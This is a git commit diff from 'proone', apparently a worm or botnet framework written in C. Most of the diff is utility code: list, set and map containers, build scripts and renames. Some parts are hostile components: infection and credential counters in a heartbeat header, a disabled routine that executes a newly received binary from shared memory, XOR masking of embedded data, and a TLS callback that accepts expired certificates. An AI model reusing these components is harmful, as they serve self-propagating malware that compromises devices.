aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-01-11 18:03:47 +1100
committerDavid Timber <mieabby@gmail.com>2020-01-11 18:03:47 +1100
commit10512fc50e6184397206a41c157c09d9b02e9e1a (patch)
tree5f0779032edf0f0710400ae6c99b9a3f2977735d
parent129e12d7685a6ea99fde514ad104a0368a19033d (diff)
staged resolv_worker
* replaced RNG from `rnd` to `mbedtls_ctr_drbg` * use of `uint_fastN_t` where appropriate * heartbeat protocol draft * improved worker scheduling mech
-rw-r--r--proone.code-workspace4
-rwxr-xr-xscripts/build-all.sh9
-rw-r--r--src/Makefile.am24
-rw-r--r--src/dvault.c16
-rw-r--r--src/dvault.h4
-rw-r--r--src/heartbeat.c0
-rw-r--r--src/heartbeat.h42
-rw-r--r--src/htbt-worker.c (renamed from src/heartbeat-worker.c)89
-rw-r--r--src/htbt-worker.h (renamed from src/heartbeat-worker.h)2
-rw-r--r--src/imap.c96
-rw-r--r--src/imap.h30
-rw-r--r--src/iset.c78
-rw-r--r--src/iset.h22
-rw-r--r--src/llist.c104
-rw-r--r--src/llist.h28
-rw-r--r--src/mbedtls.c52
-rw-r--r--src/mbedtls.h12
-rw-r--r--src/pack.c10
-rw-r--r--src/proone-list-arch.c2
-rw-r--r--src/proone-mask.c4
-rw-r--r--src/proone-pack.c13
-rw-r--r--src/proone-print-all-data.c4
-rw-r--r--src/proone-resolv.c402
-rw-r--r--src/proone-unpack.c6
-rw-r--r--src/proone.c626
-rw-r--r--src/proone.h30
-rw-r--r--src/protocol.c54
-rw-r--r--src/protocol.h131
-rw-r--r--src/resolv_worker.c1453
-rw-r--r--src/resolv_worker.h95
-rw-r--r--src/rnd.c27
-rw-r--r--src/rnd.h2
-rw-r--r--src/util_rt.c109
-rw-r--r--src/util_rt.h28
-rw-r--r--src/worker.c293
-rw-r--r--src/worker.h77
36 files changed, 3400 insertions, 578 deletions
diff --git a/proone.code-workspace b/proone.code-workspace
index 97ca196..92d77bd 100644
--- a/proone.code-workspace
+++ b/proone.code-workspace
@@ -8,7 +8,9 @@
"editor.insertSpaces": false,
"C_Cpp.default.cStandard": "c11",
"C_Cpp.default.defines": [
- "_GNU_SOURCE"],
+ "_GNU_SOURCE",
+ "PRNE_DEBUG",
+ "PRNE_BUILD_ENTROPY=\"84532ab2-0857-4137-9daf-abd990684889\""],
"C_Cpp.default.compilerArgs": [
"-pedantic",
"-Wall",
diff --git a/scripts/build-all.sh b/scripts/build-all.sh
index b3e3504..7c87b82 100755
--- a/scripts/build-all.sh
+++ b/scripts/build-all.sh
@@ -56,10 +56,17 @@ fi
make distclean
# native build for tools
-./configure $PROONE_AM_CONF && make -j$(nproc) && cp -a src/proone-pack "$PROONE_PACKER" && cp -a src/proone-unpack "$PROONE_UNPACKER" && make distclean
+./configure $PROONE_AM_CONF && make -j$(nproc) &&
+ cp -a src/proone-pack "$PROONE_PACKER" &&
+ cp -a src/proone-unpack "$PROONE_UNPACKER" &&
+ cp -a src/proone-list-arch "$PROONE_TOOLS/proone-list-arch" &&
+ cp -a src/proone-mask "$PROONE_TOOLS/proone-mask" &&
+ cp -a src/proone-print-all-data "$PROONE_TOOLS/proone-print-all-data" &&
+ cp -a src/proone-resolv "$PROONE_TOOLS/proone-resolv"
if [ $? -ne 0 ]; then
exit $?
fi
+make distclean
# cross-compile targets
for (( i = 0; i < ARR_SIZE; i += 1 )); do
diff --git a/src/Makefile.am b/src/Makefile.am
index bd851c6..5f3903e 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
@@ -8,10 +8,17 @@ TARGET_FLAGS += -Os
DEV_FLAGS += -Os
endif
-AM_CFLAGS = -std=c11 -pedantic -Wall -Wextra -Wno-switch -Wno-unused-parameter -D_GNU_SOURCE $(DEV_FLAGS)
+AM_CFLAGS = -std=c11 -pedantic -Wall -Wextra -Wno-switch -Wno-unused-parameter -D_GNU_SOURCE -DPRNE_BUILD_ENTROPY=\"`uuidgen -r`\" $(DEV_FLAGS)
noinst_LIBRARIES = libproone.a
-bin_PROGRAMS = proone proone-pack proone-unpack proone-list-arch proone-mask proone-print-all-data
+bin_PROGRAMS =\
+ proone\
+ proone-pack\
+ proone-unpack\
+ proone-list-arch\
+ proone-mask\
+ proone-print-all-data\
+ proone-resolv
libproone_a_SOURCES =\
protocol.c\
@@ -19,13 +26,16 @@ libproone_a_SOURCES =\
dvault.c\
data.c\
util_rt.c\
- rnd.c
+ llist.c\
+ iset.c\
+ imap.c\
+ mbedtls.c\
+ worker.c\
+ resolv_worker.c
proone_LDFLAGS = -static
proone_LDADD = libproone.a $(LIBS) $(DEP_PKGCFG_LIBS) -lrt -lpthread
proone_SOURCES =\
- worker.c\
- heartbeat-worker.c\
proone.c
proone_pack_LDADD = libproone.a
@@ -48,5 +58,9 @@ proone_print_all_data_LDADD = libproone.a
proone_print_all_data_LDFLAGS = $(LIBS) $(DEP_PKGCFG_LIBS)
proone_print_all_data_SOURCES = proone-print-all-data.c
+proone_resolv_LDADD = libproone.a
+proone_resolv_LDFLAGS = $(LIBS) $(DEP_PKGCFG_LIBS)
+proone_resolv_SOURCES = proone-resolv.c
+
if TESTS
endif
diff --git a/src/dvault.c b/src/dvault.c
index 760adfe..85b2d46 100644
--- a/src/dvault.c
+++ b/src/dvault.c
@@ -62,7 +62,7 @@ static void entry_check (const prne_data_key_t key, const prne_data_type_t type)
}
-const char *prne_data_type2str (const prne_data_type_t t) {
+const char *prne_data_type_tostr (const prne_data_type_t t) {
switch (t) {
case PRNE_DATA_TYPE_CSTR: return "cstr";
case PRNE_DATA_TYPE_BIN: return "bin";
@@ -70,11 +70,11 @@ const char *prne_data_type2str (const prne_data_type_t t) {
return NULL;
}
-prne_data_type_t prne_str2data_type (const char *str) {
- if (strcmp(str, prne_data_type2str(PRNE_DATA_TYPE_CSTR)) == 0) {
+prne_data_type_t prne_data_type_fstr (const char *str) {
+ if (strcmp(str, prne_data_type_tostr(PRNE_DATA_TYPE_CSTR)) == 0) {
return PRNE_DATA_TYPE_CSTR;
}
- if (strcmp(str, prne_data_type2str(PRNE_DATA_TYPE_BIN)) == 0) {
+ if (strcmp(str, prne_data_type_tostr(PRNE_DATA_TYPE_BIN)) == 0) {
return PRNE_DATA_TYPE_BIN;
}
@@ -108,7 +108,7 @@ prne_dvault_mask_result_t prne_dvault_mask (const prne_data_type_t type, const u
prne_init_dvault_mask_result(&ret);
- if (data_size > 0x0000FFFF) {
+ if (data_size > 0xFFFF) {
ret.result = PRNE_DVAULT_MASK_TOO_LARGE;
return ret;
}
@@ -126,10 +126,10 @@ prne_dvault_mask_result_t prne_dvault_mask (const prne_data_type_t type, const u
}
sprintf(ret.str, "\\x%02X\\x%02X\\x%02X\\x%02X",
- (uint8_t)type,
+ type,
salt,
- (uint8_t)((0x0000FF00 & (uint32_t)data_size) >> 8),
- (uint8_t)((0x000000FF & (uint32_t)data_size) >> 0));
+ (int)((0xFF00 & (uint_fast16_t)data_size) >> 8),
+ (int)((0x00FF & (uint_fast16_t)data_size) >> 0));
for (i = 0; i < data_size; i += 1) {
sprintf(ret.str + 4 * 4 + 4 * i, "\\x%02X", data[i] ^ PRNE_DVAULT_MASK[(i + (size_t)salt) % 256]);
diff --git a/src/dvault.h b/src/dvault.h
index d99a660..3ae29e6 100644
--- a/src/dvault.h
+++ b/src/dvault.h
@@ -35,8 +35,8 @@ struct prne_dvault_mask_result {
extern const uint8_t PRNE_DVAULT_MASK[256];
-const char *prne_data_type2str (const prne_data_type_t t);
-prne_data_type_t prne_str2data_type (const char *str);
+const char *prne_data_type_tostr (const prne_data_type_t t);
+prne_data_type_t prne_data_type_fstr (const char *str);
void prne_dvault_invert_mem (const size_t size, uint8_t *m, const uint8_t salt);
void prne_init_dvault_mask_result (prne_dvault_mask_result_t *r);
diff --git a/src/heartbeat.c b/src/heartbeat.c
deleted file mode 100644
index e69de29..0000000
--- a/src/heartbeat.c
+++ /dev/null
diff --git a/src/heartbeat.h b/src/heartbeat.h
deleted file mode 100644
index 3d396cb..0000000
--- a/src/heartbeat.h
+++ /dev/null
@@ -1,42 +0,0 @@
-#pragma once
-#include "protocol.h"
-#include "util_ct.h"
-
-#include <stdint.h>
-#include <stddef.h>
-#include <stdbool.h>
-
-
-typedef struct prne_htbt_host_info prne_htbt_host_info_t;
-
-typedef enum {
- PRNE_HTBT_OP_HOST_INFO,
- PRNE_HTBT_OP_CMD,
- PRNE_HTBT_OP_NY_BIN,
- PRNE_HTBT_OP_RSP,
-
- NB_PRNE_HTBT_OP
-} prne_htbt_op_t;
-PRNE_LIMIT_ENUM(prne_htbt_op_t, NB_PRNE_HTBT_OP, 0xFF);
-
-typedef enum {
- PRNE_HTBT_RSP_OK,
- PRNE_HTBT_RSP_ERRNO,
-
- NB_PRNE_HTBT_RSP
-} prne_htbt_rsp_t;
-PRNE_LIMIT_ENUM(prne_htbt_rsp_t, NB_PRNE_HTBT_RSP, 0xFF);
-
-struct prne_htbt_host_info {
- char prog_ver[36];
- uint64_t uptime;
- uint64_t rerun_cnt;
- uint64_t bne_cnt;
- uint64_t infect_cnt;
- uint32_t god_pid;
- uint32_t proone_pid;
- const char *cred_str;
- uint8_t cred_id_len;
- uint8_t cred_pw_len;
- prne_arch_t arch;
-};
diff --git a/src/heartbeat-worker.c b/src/htbt-worker.c
index 3fd4853..3387000 100644
--- a/src/heartbeat-worker.c
+++ b/src/htbt-worker.c
@@ -1,4 +1,6 @@
-#include "heartbeat-worker.h"
+#include "htbt-worker.h"
+#include "protocol.h"
+#include "proone.h"
#include "util_rt.h"
#include "dvault.h"
@@ -10,6 +12,8 @@
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
+#include <sys/mman.h>
+#include <sys/stat.h>
#define DECL_CTX_PTR(p) hb_w_ctx_t *ctx = (hb_w_ctx_t*)p;
@@ -22,11 +26,82 @@ struct hb_w_ctx {
bool finalised;
};
-static const uint16_t HEARTBEAT_DEFAULT_BIND_PORT = 55420;
+
+#if 0
+static int create_ny_bin_shm (prne_rnd_engine_t *rnd) {
+ static const size_t str_len = sizeof(prne_s_g->ny_bin_shm_name);
+
+ prne_s_g->ny_bin_shm_name[0] = '/';
+ prne_s_g->ny_bin_shm_name[str_len - 1] = 0;
+ prne_rnd_anum_str(rnd, prne_s_g->ny_bin_shm_name + 1, str_len - 2);
+
+ return shm_open(prne_s_g->ny_bin_shm_name, O_RDWR | O_CREAT | O_TRUNC, 0700);
+}
+
+static void exec_ny_bin (void) {
+ // Just die on error
+ static const size_t proc_fd_path_size = 14 + 11 + 1;
+ int fd;
+ uint8_t *data;
+ size_t i;
+ const char **args;
+ struct stat st;
+ char *proc_fd_path, *real_shm_path;
+ prne_htbt_cmd_t cmd;
+
+ prne_htbt_init_cmd(&cmd);
+
+ fd = shm_open(prne_s_g->ny_bin_shm_name, O_RDONLY, 0);
+ if (fd < 0) {
+ abort();
+ }
+ if (fstat(fd, &st) < 0 || st.st_size <= 0 || (size_t)st.st_size < prne_s_g->ny_bin_size) {
+ abort();
+ }
+ data = (uint8_t*)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_SHARED, fd, 0);
+
+ if (prne_htbt_deserialise_cmd(data + prne_s_g->ny_bin_size, (size_t)st.st_size - prne_s_g->ny_bin_size, NULL, &cmd) != PRNE_HTBT_DESER_RET_OK) {
+ abort();
+ }
+
+ munmap(data, (size_t)st.st_size);
+ data = NULL;
+ ftruncate(fd, prne_s_g->ny_bin_size);
+
+ args = prne_malloc(sizeof(const char*), (size_t)cmd.argc + 2);
+ for(i = 1; i <= cmd.argc; i += 1) {
+ args[i] = cmd.mem + cmd.offset_arr[i];
+ }
+ args[i] = NULL;
+
+ proc_fd_path = prne_malloc(1, proc_fd_path_size);
+ snprintf(proc_fd_path, proc_fd_path_size, "/proc/self/fd/%d", fd);
+ if (lstat(proc_fd_path, &st) < 0) {
+ abort();
+ }
+
+ real_shm_path = prne_malloc(1, st.st_size + 1);
+ if (readlink(proc_fd_path, real_shm_path, st.st_size) != st.st_size) {
+ abort();
+ }
+ prne_free(proc_fd_path);
+ proc_fd_path = NULL;
+ args[0] = real_shm_path;
+
+ fchmod(fd, 0777);
+ prne_close(fd);
+ fd = -1;
+
+ if (execv(real_shm_path, (char *const*)args) < 0) {
+ abort();
+ }
+}
+#endif
+
static void heartbeat_worker_free (void *in_ctx) {
DECL_CTX_PTR(in_ctx);
- close(ctx->fd);
+ prne_close(ctx->fd);
prne_free(ctx);
}
@@ -84,7 +159,7 @@ static bool heartbeat_worker_has_finalised (void *in_ctx) {
}
-bool prne_alloc_heartbeat_worker (prne_worker_t *w) {
+bool prne_alloc_htbt_worker (prne_worker_t *w) {
bool ret = true;
hb_w_ctx_t *ctx = NULL;
@@ -121,7 +196,7 @@ bool prne_alloc_heartbeat_worker (prne_worker_t *w) {
memset(&local_addr, 0, sizeof(struct sockaddr_in));
local_addr.sin_family = AF_INET;
- local_addr.sin_port = htons(HEARTBEAT_DEFAULT_BIND_PORT);
+ local_addr.sin_port = htons(PRNE_HTBT_PROTO_PORT);
local_addr.sin_addr.s_addr = INADDR_ANY;
if (bind(ctx->fd, (const struct sockaddr*)&local_addr, sizeof(struct sockaddr_in)) < 0) {
@@ -134,7 +209,7 @@ bool prne_alloc_heartbeat_worker (prne_worker_t *w) {
memset(&local_addr, 0, sizeof(struct sockaddr_in6));
local_addr.sin6_family = AF_INET6;
- local_addr.sin6_port = htons(HEARTBEAT_DEFAULT_BIND_PORT);
+ local_addr.sin6_port = htons(PRNE_HTBT_PROTO_PORT);
if (bind(ctx->fd, (const struct sockaddr*)&local_addr, sizeof(struct sockaddr_in6)) < 0) {
ret = false;
@@ -151,7 +226,7 @@ bool prne_alloc_heartbeat_worker (prne_worker_t *w) {
END:
if (!ret) {
if (ctx != NULL) {
- close(ctx->fd);
+ prne_close(ctx->fd);
}
prne_free(ctx);
}
diff --git a/src/heartbeat-worker.h b/src/htbt-worker.h
index 7a5f060..9d4ac33 100644
--- a/src/heartbeat-worker.h
+++ b/src/htbt-worker.h
@@ -6,4 +6,4 @@
#include <stdint.h>
-bool prne_alloc_heartbeat_worker (prne_worker_t *w);
+bool prne_alloc_htbt_worker (prne_worker_t *w);
diff --git a/src/imap.c b/src/imap.c
new file mode 100644
index 0000000..88e24e9
--- /dev/null
+++ b/src/imap.c
@@ -0,0 +1,96 @@
+#include "imap.h"
+#include "util_rt.h"
+
+#include <stdlib.h>
+#include <string.h>
+
+
+static int imap_cmp_func (const void *a, const void *b) {
+ return
+ ((const prne_imap_tuple_t*)a)->key < ((const prne_imap_tuple_t*)b)->key ? -1 :
+ ((const prne_imap_tuple_t*)a)->key > ((const prne_imap_tuple_t*)b)->key ? 1 :
+ 0;
+}
+
+
+void prne_init_imap (prne_imap_t *im) {
+ im->tbl = NULL;
+ im->size = 0;
+}
+
+void prne_free_imap (prne_imap_t *im) {
+ prne_free(im->tbl);
+ im->tbl = NULL;
+ im->size = 0;
+}
+
+void prne_imap_clear (prne_imap_t *im) {
+ prne_free(im->tbl);
+ im->tbl = NULL;
+ im->size = 0;
+}
+
+const prne_imap_tuple_t *prne_imap_insert (prne_imap_t *im, const prne_imap_key_type_t key, void *val) {
+ prne_imap_tuple_t *ret;
+ prne_imap_tuple_t t;
+
+ t.key = key;
+ t.val = val;
+
+ ret = (prne_imap_tuple_t*)bsearch(&t, im->tbl, im->size, sizeof(prne_imap_tuple_t), imap_cmp_func);
+ if (ret == NULL) {
+ void *ny_mem;
+
+ ny_mem = prne_realloc(im->tbl, sizeof(prne_imap_tuple_t), im->size + 1);
+ if (ny_mem == NULL) {
+ return NULL;
+ }
+ im->tbl = (prne_imap_tuple_t*)ny_mem;
+ im->tbl[im->size] = t;
+ im->size += 1;
+
+ qsort(im->tbl, im->size, sizeof(prne_imap_tuple_t), imap_cmp_func);
+ ret = (prne_imap_tuple_t*)prne_imap_lookup(im, key);
+ }
+ else {
+ ret->val = t.val;
+ }
+
+ return ret;
+}
+
+void prne_imap_erase (prne_imap_t *im, const prne_imap_key_type_t key) {
+ prne_imap_tuple_t *ext;
+ prne_imap_tuple_t t;
+
+ t.key = key;
+ t.val = NULL;
+
+ ext = bsearch(&t, im->tbl, im->size, sizeof(prne_imap_tuple_t), imap_cmp_func);
+ if (ext != NULL) {
+ if (im->size - 1 == 0) {
+ prne_free(im->tbl);
+ im->tbl = NULL;
+ im->size = 0;
+ }
+ else {
+ void *ny_mem;
+
+ memmove(ext, ext + 1, sizeof(prne_imap_tuple_t) * (im->size - 1 - (ext - im->tbl)));
+ im->size -= 1;
+ ny_mem = prne_realloc(im->tbl, sizeof(prne_imap_tuple_t), im->size);
+ if (ny_mem != NULL) {
+ im->tbl = (prne_imap_tuple_t*)ny_mem;
+ }
+ }
+ }
+}
+
+const prne_imap_tuple_t *prne_imap_lookup (prne_imap_t *im, const prne_imap_key_type_t key) {
+ prne_imap_tuple_t t;
+
+ t.key = key;
+ t.val = NULL;
+
+ return (const prne_imap_tuple_t*)bsearch(&t, im->tbl, im->size, sizeof(prne_imap_tuple_t), imap_cmp_func);
+}
diff --git a/src/imap.h b/src/imap.h
new file mode 100644
index 0000000..d7eb788
--- /dev/null
+++ b/src/imap.h
@@ -0,0 +1,30 @@
+#pragma once
+#include <stddef.h>
+#include <stdbool.h>
+#include <stdint.h>
+
+
+struct prne_imap;
+struct prne_imap_tuple;
+typedef uintptr_t prne_imap_key_type_t;
+typedef struct prne_imap prne_imap_t;
+typedef struct prne_imap_tuple prne_imap_tuple_t;
+
+struct prne_imap {
+ prne_imap_tuple_t *tbl;
+ size_t size;
+};
+
+struct prne_imap_tuple {
+ prne_imap_key_type_t key;
+ void *val;
+};
+
+
+void prne_init_imap (prne_imap_t *im);
+void prne_free_imap (prne_imap_t *im);
+
+void prne_imap_clear (prne_imap_t *im);
+const prne_imap_tuple_t *prne_imap_insert (prne_imap_t *im, const prne_imap_key_type_t key, void *val);
+void prne_imap_erase (prne_imap_t *im, const prne_imap_key_type_t key);
+const prne_imap_tuple_t *prne_imap_lookup (prne_imap_t *im, const prne_imap_key_type_t key);
diff --git a/src/iset.c b/src/iset.c
new file mode 100644
index 0000000..b0dcb12
--- /dev/null
+++ b/src/iset.c
@@ -0,0 +1,78 @@
+#include "iset.h"
+#include "util_rt.h"
+
+#include <stdlib.h>
+#include <string.h>
+
+
+static int iset_comp_func (const void *a, const void *b) {
+ return
+ *(const prne_iset_val_t*)a < *(const prne_iset_val_t*)b ? -1 :
+ *(const prne_iset_val_t*)a > *(const prne_iset_val_t*)b ? 1 :
+ 0;
+}
+
+
+void prne_init_iset (prne_iset_t *s) {
+ s->arr = NULL;
+ s->size = 0;
+}
+
+void prne_free_iset (prne_iset_t *s) {
+ prne_free(s->arr);
+ s->arr = NULL;
+ s->size = 0;
+}
+
+void prne_iset_clear (prne_iset_t *s) {
+ prne_free(s->arr);
+ s->arr = NULL;
+ s->size = 0;
+}
+
+bool prne_iset_insert (prne_iset_t *s, const prne_iset_val_t v) {
+ void *ny_mem;
+
+ if (prne_iset_lookup(s, v)) {
+ return true;
+ }
+
+ ny_mem = prne_realloc(s->arr, sizeof(prne_iset_val_t), s->size + 1);
+ if (ny_mem == NULL) {
+ return false;
+ }
+ s->arr = (prne_iset_val_t*)ny_mem;
+ s->arr[s->size] = v;
+ s->size += 1;
+ qsort(s->arr, s->size, sizeof(prne_iset_val_t), iset_comp_func);
+
+ return true;
+}
+
+void prne_iset_erase (prne_iset_t *s, const prne_iset_val_t v) {
+ prne_iset_val_t *p;
+
+ p = (prne_iset_val_t*)bsearch(&v, s->arr, s->size, sizeof(prne_iset_val_t), iset_comp_func);
+ if (p != NULL) {
+ if (s->size == 1) {
+ prne_free(s->arr);
+ s->arr = NULL;
+ s->size = 0;
+ }
+ else {
+ void *ny_mem;
+
+ memmove(p, p + 1, sizeof(prne_iset_val_t) * (s->size - 1 - (p - s->arr)));
+
+ s->size -= 1;
+ ny_mem = prne_realloc(s->arr, sizeof(prne_iset_val_t), s->size);
+ if (ny_mem != NULL) {
+ s->arr = (prne_iset_val_t*)ny_mem;
+ }
+ }
+ }
+}
+
+bool prne_iset_lookup (prne_iset_t *s, const prne_iset_val_t v) {
+ return bsearch(&v, s->arr, s->size, sizeof(prne_iset_val_t), iset_comp_func) != NULL;
+}
diff --git a/src/iset.h b/src/iset.h
new file mode 100644
index 0000000..acc8f14
--- /dev/null
+++ b/src/iset.h
@@ -0,0 +1,22 @@
+#pragma once
+#include <stdbool.h>
+#include <stdint.h>
+#include <stddef.h>
+
+
+typedef struct prne_iset prne_iset_t;
+typedef uintptr_t prne_iset_val_t;
+
+struct prne_iset {
+ prne_iset_val_t *arr;
+ size_t size;
+};
+
+
+void prne_init_iset (prne_iset_t *s);
+void prne_free_iset (prne_iset_t *s);
+
+void prne_iset_clear (prne_iset_t *s);
+bool prne_iset_insert (prne_iset_t *s, const prne_iset_val_t v);
+void prne_iset_erase (prne_iset_t *s, const prne_iset_val_t v);
+bool prne_iset_lookup (prne_iset_t *s, const prne_iset_val_t v);
diff --git a/src/llist.c b/src/llist.c
new file mode 100644
index 0000000..371ad89
--- /dev/null
+++ b/src/llist.c
@@ -0,0 +1,104 @@
+#include "llist.h"
+#include "util_rt.h"
+
+
+void prne_init_llist (prne_llist_t *llist) {
+ llist->head = NULL;
+ llist->tail = NULL;
+ llist->size = 0;
+}
+
+void prne_free_llist (prne_llist_t *llist) {
+ prne_llist_clear(llist);
+}
+
+void prne_llist_clear (prne_llist_t *llist) {
+ struct prne_llist_entry *cur = llist->head, *next;
+
+ while (cur != NULL) {
+ next = cur->next;
+ prne_free(cur);
+ cur = next;
+ }
+
+ llist->head = llist->tail = NULL;
+ llist->size = 0;
+}
+
+prne_llist_entry_t *prne_llist_insert (prne_llist_t *llist, prne_llist_entry_t *entry, void *element) {
+ prne_llist_entry_t *ny;
+
+ if (entry == NULL) {
+ return prne_llist_append(llist, element);
+ }
+
+ ny = (prne_llist_entry_t*)prne_malloc(sizeof(prne_llist_entry_t), 1);
+ if (ny == NULL) {
+ return NULL;
+ }
+ ny->prev = entry;
+ ny->next = entry->next;
+ ny->element = element;
+ if (entry->next != NULL) {
+ entry->next->prev = ny;
+ }
+ else {
+ llist->tail = ny;
+ }
+ entry->next = ny;
+
+ llist->size += 1;
+ return ny;
+}
+
+prne_llist_entry_t *prne_llist_append (prne_llist_t *llist, void *element) {
+ prne_llist_entry_t *ny = (prne_llist_entry_t*)prne_malloc(sizeof(prne_llist_entry_t), 1);
+
+ if (ny == NULL) {
+ return NULL;
+ }
+ ny->next = NULL;
+ ny->element = element;
+
+ if (llist->tail == NULL) {
+ llist->head = llist->tail = ny;
+ ny->prev = NULL;
+ }
+ else {
+ llist->tail->next = ny;
+ ny->prev = llist->tail;
+ llist->tail = ny;
+ }
+
+ llist->size += 1;
+ return ny;
+}
+
+prne_llist_entry_t *prne_llist_erase (prne_llist_t *llist, prne_llist_entry_t *entry) {
+ prne_llist_entry_t *ret;
+
+ if (entry == NULL) {
+ return NULL;
+ }
+
+ if (entry == llist->head && entry == llist->tail) {
+ llist->head = llist->tail = NULL;
+ ret = NULL;
+ }
+ else if (entry == llist->head) {
+ ret = llist->head = llist->head->next;
+ llist->head->prev = NULL;
+ }
+ else if (entry == llist->tail) {
+ ret = llist->tail = llist->tail->prev;
+ llist->tail->next = NULL;
+ }
+ else {
+ ret = entry->prev->next = entry->next;
+ entry->next->prev = entry->prev;
+ }
+
+ prne_free(entry);
+ llist->size -= 1;
+ return ret;
+}
diff --git a/src/llist.h b/src/llist.h
new file mode 100644
index 0000000..9780ab9
--- /dev/null
+++ b/src/llist.h
@@ -0,0 +1,28 @@
+#pragma once
+#include <stddef.h>
+#include <stdbool.h>
+#include <stdint.h>
+
+
+struct prne_llist;
+struct prne_llist_entry;
+typedef struct prne_llist prne_llist_t;
+typedef struct prne_llist_entry prne_llist_entry_t;
+
+struct prne_llist {
+ prne_llist_entry_t *head, *tail;
+ size_t size;
+};
+
+struct prne_llist_entry {
+ prne_llist_entry_t *prev, *next;
+ void *element;
+};
+
+void prne_init_llist (prne_llist_t *llist);
+void prne_free_llist (prne_llist_t *llist);
+
+void prne_llist_clear (prne_llist_t *llist);
+prne_llist_entry_t *prne_llist_insert (prne_llist_t *llist, prne_llist_entry_t *entry, void *element);
+prne_llist_entry_t *prne_llist_append (prne_llist_t *llist, void *element);
+prne_llist_entry_t *prne_llist_erase (prne_llist_t *llist, prne_llist_entry_t *entry);
diff --git a/src/mbedtls.c b/src/mbedtls.c
new file mode 100644
index 0000000..518da1f
--- /dev/null
+++ b/src/mbedtls.c
@@ -0,0 +1,52 @@
+#include "mbedtls.h"
+
+#include <unistd.h>
+#include <errno.h>
+
+#include <mbedtls/ssl.h>
+
+
+int prne_mbedtls_x509_crt_verify_cb (void *param, mbedtls_x509_crt *crt, int crt_depth, uint32_t *flags) {
+ *flags &= ~MBEDTLS_X509_BADCERT_EXPIRED;
+ return 0;
+}
+
+int prne_mbedtls_ssl_send_cb (void *ctx, const unsigned char *buf, size_t len) {
+ const int fd = *(int*)ctx;
+ ssize_t ret;
+
+ ret = write(fd, buf, len);
+ if (ret < 0) {
+ switch (errno) {
+#if EAGAIN == EWOULDBLOCK
+ case EAGAIN:
+#else
+ case EAGAIN:
+ case EWOULDBLOCK:
+#endif
+ return MBEDTLS_ERR_SSL_WANT_WRITE;
+ }
+ }
+
+ return ret;
+}
+
+int prne_mbedtls_ssl_recv_cb (void *ctx, unsigned char *buf, size_t len) {
+ const int fd = *(int*)ctx;
+ ssize_t ret;
+
+ ret = read(fd, buf, len);
+ if (ret < 0) {
+ switch (errno) {
+#if EAGAIN == EWOULDBLOCK
+ case EAGAIN:
+#else
+ case EAGAIN:
+ case EWOULDBLOCK:
+#endif
+ return MBEDTLS_ERR_SSL_WANT_READ;
+ }
+ }
+
+ return ret;
+}
diff --git a/src/mbedtls.h b/src/mbedtls.h
new file mode 100644
index 0000000..02c50c2
--- /dev/null
+++ b/src/mbedtls.h
@@ -0,0 +1,12 @@
+#pragma once
+#include <stdint.h>
+#include <stdbool.h>
+#include <stddef.h>
+
+#include <mbedtls/x509_crt.h>
+
+
+// Callback that masks `MBEDTLS_X509_BADCERT_EXPIRED`
+int prne_mbedtls_x509_crt_verify_cb (void *param, mbedtls_x509_crt *crt, int crt_depth, uint32_t *flags);
+int prne_mbedtls_ssl_send_cb (void *ctx, const unsigned char *buf, size_t len);
+int prne_mbedtls_ssl_recv_cb (void *ctx, unsigned char *buf, size_t len);
diff --git a/src/pack.c b/src/pack.c
index 4c8e3ce..51a56d8 100644
--- a/src/pack.c
+++ b/src/pack.c
@@ -145,7 +145,7 @@ prne_index_bin_archive_result_code_t prne_index_bin_archive (prne_unpack_bin_arc
prne_index_bin_archive_result_code_t ret = PRNE_INDEX_BIN_ARCHIVE_OK;
size_t buf_pos = 0, arr_cnt = 0, offset_arr[NB_PRNE_ARCH], size_arr[NB_PRNE_ARCH];
prne_arch_t arch;
- uint32_t bin_size;
+ uint_fast32_t bin_size;
prne_arch_t arch_arr[NB_PRNE_ARCH];
prne_bin_archive_t archive;
@@ -162,10 +162,10 @@ prne_index_bin_archive_result_code_t prne_index_bin_archive (prne_unpack_bin_arc
arch = (prne_arch_t)in->data[buf_pos];
bin_size =
- ((uint32_t)in->data[buf_pos + 1] << 16) |
- ((uint32_t)in->data[buf_pos + 2] << 8) |
- (uint32_t)in->data[buf_pos + 3];
- if (prne_arch2str(arch) == NULL || bin_size == 0 || buf_pos + 4 + bin_size > in->data_size) {
+ ((uint_fast32_t)in->data[buf_pos + 1] << 16) |
+ ((uint_fast32_t)in->data[buf_pos + 2] << 8) |
+ (uint_fast32_t)in->data[buf_pos + 3];
+ if (prne_arch_tostr(arch) == NULL || bin_size == 0 || buf_pos + 4 + bin_size > in->data_size) {
ret = PRNE_INDEX_BIN_ARCHIVE_FMT_ERR;
goto END;
}
diff --git a/src/proone-list-arch.c b/src/proone-list-arch.c
index e7521ae..c74bb77 100644
--- a/src/proone-list-arch.c
+++ b/src/proone-list-arch.c
@@ -7,7 +7,7 @@ int main (void) {
prne_arch_t i;
for (i = PRNE_ARCH_NONE + 1; i < NB_PRNE_ARCH; i += 1) {
- printf("%s\n", prne_arch2str(i));
+ printf("%s\n", prne_arch_tostr(i));
}
return 0;
diff --git a/src/proone-mask.c b/src/proone-mask.c
index 1cfabde..ba138a9 100644
--- a/src/proone-mask.c
+++ b/src/proone-mask.c
@@ -29,7 +29,7 @@ int main (const int argc, const char **args) {
goto END;
}
- type = prne_str2data_type(args[1]);
+ type = prne_data_type_fstr(args[1]);
switch (type) {
case PRNE_DATA_TYPE_BIN:
case PRNE_DATA_TYPE_CSTR: {
@@ -59,7 +59,7 @@ int main (const int argc, const char **args) {
goto END;
}
- getrandom(&salt, sizeof(uint8_t), 0);
+ getrandom(&salt, sizeof(salt), 0);
mask_result = prne_dvault_mask(type, salt, read_size, buf);
if (mask_result.result == PRNE_DVAULT_MASK_OK) {
diff --git a/src/proone-pack.c b/src/proone-pack.c
index 2098f4e..de2f05c 100644
--- a/src/proone-pack.c
+++ b/src/proone-pack.c
@@ -11,6 +11,7 @@
#include <sys/sendfile.h>
#include <fcntl.h>
+#include "util_rt.h"
#include "protocol.h"
@@ -62,7 +63,7 @@ int main (const int argc, const char **args) {
}
ext += 1;
- arch = prne_str2arch(ext);
+ arch = prne_arch_fstr(ext);
if (arch == PRNE_ARCH_NONE) {
fprintf(stderr, "** %s: unknown arch \"%s\"\n", path, ext);
proc_result = false;
@@ -117,9 +118,9 @@ int main (const int argc, const char **args) {
// write head
head[0] = (uint8_t)archive->arch;
